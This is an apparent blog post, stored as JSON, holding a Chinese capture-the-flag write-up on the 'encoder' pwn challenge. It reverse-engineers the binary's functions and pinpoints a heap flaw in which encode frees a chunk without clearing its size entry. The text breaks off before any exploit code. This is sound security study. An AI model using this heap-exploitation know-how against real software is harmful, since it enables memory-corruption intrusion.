{"id":672,"date":"2025-03-25T16:18:30","date_gmt":"2025-03-25T08:18:30","guid":{"rendered":"http:\/\/39.104.51.85\/?p=672"},"modified":"2025-03-25T17:29:24","modified_gmt":"2025-03-25T09:29:24","slug":"2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder","status":"publish","type":"post","link":"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/","title":{"rendered":"2025\u8f6f\u4ef6\u5b89\u5168\u8d5bpwn encoder"},"content":{"rendered":"\n<p>\u672c\u6587\u9996\u53d1\u4e8e\u5148\u77e5\u793e\u533a\uff1a<a href=\"https:\/\/xz.aliyun.com\/news\/17415\">https:\/\/xz.aliyun.com\/news\/17415<\/a><\/p>\n\n\n\n<p>\u8d5b\u540e\u603b\u7ed3\u53d1\u73b0\u8fd9\u662f\u4e00\u4e2a\u6f0f\u6d1e\u767e\u51fa\u7684\u9898\uff0c\u6709\u5404\u79cd\u5404\u6837\u7684\u6253\u6cd5\uff0c\u8fd9\u91cc\u6211\u7684\u6253\u6cd5\u662f\u57fa\u4e8epatch\u7684\u7ed3\u679c\u6765\u5199\u7684\uff0c\u4e0b\u9762\u5c31\u8be6\u7ec6\u8bf4\u4e00\u4e0b<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_69_1 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >\u5185\u5bb9<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90\" title=\"\u9898\u76ee\u5206\u6790\">\u9898\u76ee\u5206\u6790<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E9%A6%96%E5%85%88%E7%9C%8Bupload\" title=\"\u9996\u5148\u770bupload\">\u9996\u5148\u770bupload<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E5%86%8D%E7%9C%8Bdownload\" title=\"\u518d\u770bdownload\">\u518d\u770bdownload<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#release%E5%87%BD%E6%95%B0\" title=\"release\u51fd\u6570\">release\u51fd\u6570<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#encode%E5%87%BD%E6%95%B0\" title=\"encode\u51fd\u6570\">encode\u51fd\u6570<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#decode%E5%87%BD%E6%95%B0\" title=\"decode\u51fd\u6570\">decode\u51fd\u6570<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E5%85%88%E8%AF%B4%E8%AF%B4%E6%80%8E%E4%B9%88patch\" title=\"\u5148\u8bf4\u8bf4\u600e\u4e48patch\">\u5148\u8bf4\u8bf4\u600e\u4e48patch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E8%A7%A3%E9%A2%98%E6%80%9D%E8%B7%AF\" title=\"\u89e3\u9898\u601d\u8def\">\u89e3\u9898\u601d\u8def<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E7%AC%AC%E4%B8%80%E6%AD%A5%EF%BC%9A%E4%BC%AA%E9%80%A0size\" title=\"\u7b2c\u4e00\u6b65\uff1a\u4f2a\u9020size\">\u7b2c\u4e00\u6b65\uff1a\u4f2a\u9020size<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/39.104.51.85\/index.php\/2025\/03\/25\/2025%e8%bd%af%e4%bb%b6%e5%ae%89%e5%85%a8%e8%b5%9bpwn-encoder\/#%E5%AE%8C%E6%95%B4paylaod%E5%A6%82%E4%B8%8B\" title=\"\u5b8c\u6574paylaod\u5982\u4e0b\">\u5b8c\u6574paylaod\u5982\u4e0b<\/a><\/li><\/ul><\/nav><\/div>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90\"><\/span>\u9898\u76ee\u5206\u6790<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u9898\u76ee\u662f2.31\u7684libc\uff0c\u4e0d\u662f\u4f20\u7edf\u7684\u589e\u5220\u6539\u67e5\uff0c\u51fa\u9898\u601d\u8def\u662f\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u540e\u538b\u7f29\u89e3\u538b\u7684\u529f\u80fd\uff0c\u4f46\u5b9e\u9645\u4e0a\u5c31\u662f\u589e\u5220\u67e5\u90fd\u9f50\u5168\uff0c\u6ca1\u6709\u4f20\u7edf\u610f\u4e49\u4e0a\u7684\u6539<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-28.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"899\" height=\"746\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-28.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-674\"  sizes=\"(max-width: 899px) 100vw, 899px\" \/><\/div><\/figure>\n\n\n\n<p>upload\u5bf9\u5e94\u7684\u662f\u589e\uff0crelease\u5bf9\u5e94\u7684\u662f\u5220\uff0cdownload\u5bf9\u5e94\u7684\u662f\u67e5\uff0cencode\uff0cdecode\u9700\u8981\u9006\u5411\u5206\u6790\u4e00\u4e0b<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E9%A6%96%E5%85%88%E7%9C%8Bupload\"><\/span>\u9996\u5148\u770bupload<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-29-1024x931.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"931\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-29-1024x931.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-675\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u8981\u8f93\u5165\u4e00\u4e2aindex\u548c\u4e00\u4e2asize\uff0c\u5e76\u4e14size\u4e0d\u80fd\u8d85\u8fc70x20000\uff0c\u5982\u679c\u8d85\u8fc7\uff0c\u6700\u540e\u7684size\u4e5f\u662f0x20000\uff0c\u4e0d\u8fc7\u8fd9\u9898\u4e0d\u5173\u5fc3\u8fd9\u91cc<\/p>\n\n\n\n<p>\u63a5\u7740\u6709\u4e00\u4e2a\u6307\u9488\u8868\u4e00\u4e2asize\u8868\uff0c\u5176\u5b9e\u8fd9\u91cc\u6211\u9006\u5411\u547d\u540d\u7684\u4e0d\u592a\u597d\uff0c\u4ed6\u5e94\u8be5\u662f\u4e00\u4e2a\u7ed3\u6784\u4f53\uff0c\u5148\u770b\u4e00\u4e0b\u6309\u6211\u7684\u7406\u89e3<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-30.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"205\" height=\"340\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-30.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-676\"  sizes=\"(max-width: 205px) 100vw, 205px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u9762\u4e2d\u95f4\u7a7a\u51fa\u6765\u76842\u884c\u662f\u4e00\u6bb5buf\uff0c\u7531\u4e8esizetable\u7684\u5927\u5c0f\u662fint\uff0c\u6240\u4ee5buf\u7684\u603b\u957f\u5ea6\u662f0x10+0x4=0x14<\/p>\n\n\n\n<p>\u66f4\u597d\u7684\u7406\u89e3\u65b9\u5f0f\u5e94\u8be5\u662f\u8fd9\u6837<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-31.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"467\" height=\"344\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-31.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-677\"  sizes=\"(max-width: 467px) 100vw, 467px\" \/><\/div><\/figure>\n\n\n\n<p>\u6ce8\u610fsize\u53ea\u53604\u4f4d\uff0c\u8fd9\u91cc\u753b\u7684\u4e0d\u5b8c\u5168\u6b63\u786e\uff0c\u610f\u4f1a\u5373\u53ef<\/p>\n\n\n\n<p>\u7136\u540e\u770b\u7a0b\u5e8f\u7684\u903b\u8f91\uff0c\u5982\u679csize&lt;=16\uff0c\u90a3\u4e48\u4f1a\u76f4\u63a5\u628a\u6307\u9488\u53d6\u51fa\u6765\uff0c\u8fd9\u91cc\u6709\u53e6\u4e00\u79cd\u6253\u6cd5\u7528\u5230\u4e86\uff0c\u7531\u4e8e\u6211\u6ca1\u6709\u7528\u5230\uff0c\u6240\u4ee5\u8fd9\u91cc\u4e0d\u7ec6\u8bb2\uff0c\u60f3\u770b\u7684\u8bdd\u53ef\u4ee5\u70b9\u51fb\u8fd9\u91cc<\/p>\n\n\n\n<p>\u5728size&gt;16\u65f6\uff0c\u5982\u679c\u672c\u8eabsize\u8868\u91cc\u5df2\u7ecf\u6709\u4e86\uff0c\u90a3\u4e48\u5224\u65ad\u8f93\u5165\u7684size\u662f\u5426\u6bd4size\u8868\u91cc\u7684\u5927\uff0c\u662f\u7684\u8bdd\u4f1a\u5c06\u539f\u5148\u7684\u5806\u5757\u91ca\u653e\u6389\uff0c\u518d\u91cd\u65b0\u7533\u8bf7\u4e00\u5757\u66f4\u5927\u7684\uff0c\u653e\u5230\u6307\u9488\u8868\u91cc\uff0c\u4e0b\u9762\u7684printf\u7ecf\u8fc7heshi\u7684\u63d0\u70b9\uff0c\u731c\u6d4b\u8fd9\u4e2a\u5176\u5b9e\u662f\u7ed9checker\u770b\u7684\uff0c\u4e0d\u662f\u505a\u9898\u9700\u8981\u7684\uff0c\u4e8b\u5b9e\u4e5f\u786e\u5b9e\u5982\u6b64<\/p>\n\n\n\n<p>\u5982\u679csize\u4e0d\u6bd4size\u8868\u91cc\u5927\uff0c\u90a3\u4e48\u4e0d\u4f5c\u64cd\u4f5c<\/p>\n\n\n\n<p>\u5982\u679c\u539f\u5148size\u8868\u5c31\u4e3a\u7a7a\uff0c\u90a3\u4e48\u76f4\u63a5\u7533\u8bf7\u8be5\u5927\u5c0f\uff0c\u5e76\u4e3a\u6307\u9488\u8868\u8d4b\u503c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-32-1024x450.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"450\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-32-1024x450.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-678\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u4f1a\u5c06size\u8868\u8d4b\u503c\uff0c\u7136\u540e\u8bfb\u5165\u4f60\u8f93\u5165\u7684size\u5927\u5c0f\u7684\u6570\u636e\uff0c\u5fc5\u987b\u8bfb\u5b8c\uff0c\u6709\u70b9\u50cf\u8fdb\u9636\u7248\u7684calloc\uff0c\u8fd9\u5c31\u5bfc\u81f4\u4e86\u60f3\u8981\u6307\u9488\u6b8b\u7559\u662f\u4e0d\u53ef\u884c\u7684<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%86%8D%E7%9C%8Bdownload\"><\/span>\u518d\u770bdownload<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"884\" height=\"994\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-679\"  sizes=\"(max-width: 884px) 100vw, 884px\" \/><\/div><\/figure>\n\n\n\n<p>\u903b\u8f91\u4e0d\u96be\uff0c\u6839\u636esize\u8c03\u7528write\u51fd\u6570\uff0c\u6709\u591a\u5c11\u5199\u591a\u5c11\uff0c\u5c31\u662f\u4e00\u4e2ashow\u51fd\u6570\u7684\u529f\u80fd<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"release%E5%87%BD%E6%95%B0\"><\/span>release\u51fd\u6570<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"730\" height=\"809\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-34.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-680\"  sizes=\"(max-width: 730px) 100vw, 730px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u4e2a\u5e38\u89c4\u7684\u5220\u9664\uff0c\u8be5\u7f6e0\u7684\u90fd\u7f6e0\u4e86\uff0c\u6ca1\u6709uaf<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"encode%E5%87%BD%E6%95%B0\"><\/span>encode\u51fd\u6570<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-35-1024x945.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"945\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-35-1024x945.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-681\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u903b\u8f91\u662f\u8fd9\u6837\uff0c\u6839\u636e\u8f93\u5165\u7684index\u627esizetable\uff0c\u7136\u540e\u6839\u636esize\u7684\u5927\u5c0f\u8d70\u4e0d\u540c\u7684\u5206\u652f\uff0c\u5982\u679csize&lt;=0x10\uff0c\u90a3\u4e48\u6b64\u65f6\u9700\u8981encode\u7684\u6570\u636e\u5b58\u5728bss\u4e0a\uff0c\u4e5f\u5c31\u662f\u5148\u524d\u8bf4\u5230\u7684\u7ed3\u6784\u4f53\u91cc\u7684buf\uff0c\u53cd\u4e4b\u5728\u5806\u5757\u4e0a\uff0c\u53d6\u7684\u662f\u6307\u9488\u8868\u91cc\u7684\u6307\u9488\uff0c\u63a5\u7740v0\u7684\u8ba1\u7b97\u5927\u6982\u5c31\u662f\u9884\u5206\u914d\u4e00\u4e2a\u5927\u4e00\u70b9\u7684\u5806\u5757\uff0c\u4fdd\u8bc1\u7a7a\u95f4\u5145\u8db3\u4e0d\u4f1a\u6ea2\u51fa\uff0c\u4e0d\u5fc5\u592a\u5173\u5fc3\uff0c\u63a5\u4e0b\u6765\u8ba8\u8bba\u7684\u90fd\u662fsize&gt;0x10\u7684\u60c5\u51b5<\/p>\n\n\n\n<p>\u7136\u540e\uff0c\u7a0b\u5e8f\u4f1a\u8c03\u7528encode_0\u51fd\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u7684\u903b\u8f91\u6211\u662f\u8ba9\u961f\u91cc\u7684re\u9006\u7684\uff0c\u5927\u6982\u903b\u8f91\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-36-1024x702.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"702\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-36-1024x702.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-682\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e09\u4e2a\u53c2\u6570\u5206\u522b\u5bf9\u5e94\u539f\u6570\u636e\u7684\u5730\u5740\uff0c\u539f\u6570\u636e\u7684\u5927\u5c0f\uff0cencode\u4e4b\u540e\u7684\u6570\u636e\u7684\u5b58\u653e\u4f4d\u7f6e\uff0c\u8fd4\u56de\u503c\u662fencode\u4e4b\u540e\u7684\u6570\u636e\u957f\u5ea6\uff0c\u90a3encode_0\u5e72\u4e86\u4ec0\u4e48\u4e8b\u5462\uff1f\u5b9e\u9645\u4e0a\u5c31\u662f\u5bf9\u6570\u636e\u7684\u538b\u7f29\uff0c\u8fd9\u91cc\u4e3e\u4e2a\u4f8b\u5b50\u8bf4\u660e\uff0c\u5982\u679c\u539f\u6570\u636e\u662f\u201caaaa\u201d\uff08\\x61\\x61\\x61\\x61\uff09\uff0c\u90a3\u4e48\u538b\u7f29\u5b8c\u4e4b\u540e\u6570\u636e\u5c31\u662f\\x04\\x61<\/p>\n\n\n\n<p>\u7a0b\u5e8f\u4f1a\u628a\u539f\u5148\u7684\u6307\u9488\u91ca\u653e\u6389\uff0c\u7136\u540e\u5411\u65b0\u7533\u8bf7\u7684\u6307\u9488\u9996\u5148memcpy\u4e00\u4e2a\u201cRLE\\n\u201d\uff0c\u8fd9\u5176\u5b9e\u5c31\u662fmagic\u5934\uff0c\u63a5\u7740\u4f1a\u5c06encode\u540e\u7684size\u653e\u5230ptr[1]\u7684\u4f4d\u7f6e\uff0c\u4eceptr[2]\u7684\u4f4d\u7f6e\u5f00\u59cb\u5b58\u653e\u6570\u636e\uff0c\u6240\u6709\u6570\u636e\u5b58\u653e\u5b8c\u4e4b\u540e\uff0c\u8fd8\u4f1a\u5728\u6570\u636e\u672b\u5c3e\u5b58\u653e\u4e00\u4e2asum\uff0c\u8fd9\u4e2asum\u662f\u4ec0\u4e48\u5462\uff1f\u662f\u5b58\u653e\u7684\u6240\u6709\u6570\u636e\u7684ASCII\u7801\u4e4b\u548c\uff0c\u62ff\u4e0a\u9762\u7684\u90a3\u4e2a\u4f8b\u5b50\u6765\u8bf4\uff0csum=0x4+0x61=0x65<\/p>\n\n\n\n<p>\u7136\u540e\u4f1a\u5224\u65adencode\u4e4b\u540e\u7684\u6570\u636e\u957f\u5ea6+12\u662f\u5426\u5c0f\u4e8e0x10\uff0c\u662f\u7684\u8bdd\u5b58\u5230bss\u4e0a\u7684buf\uff0c\u5426\u5219\u628a\u6307\u9488\u8868\u7684\u6307\u9488\u66f4\u65b0\u4e3aptr\uff0c\u90a3\u4e48\u8fd9\u91cc\u5c31\u5b58\u5728\u6f0f\u6d1e\uff0c\u539f\u5148\u5b58\u653e\u539f\u6570\u636e\u90a3\u5757\u7684\u5806\u5757\u88ab\u91ca\u653e\u4e86\uff0c\u4f46\u662fsize\u8868\u6ca1\u6e050\uff0c\u6240\u4ee5\u63a5\u4e0b\u6765\u6211\u628aencode\u51fd\u6570\u5f53\u6210\u4e86delete\u51fd\u6570\u6765\u7528\uff0c\u4ed6\u662f\u4e00\u4e2a\u4e0d\u6e05size\u8868\u7684delete\uff0c\u800crelease\u662f\u4e00\u4e2a\u6e05\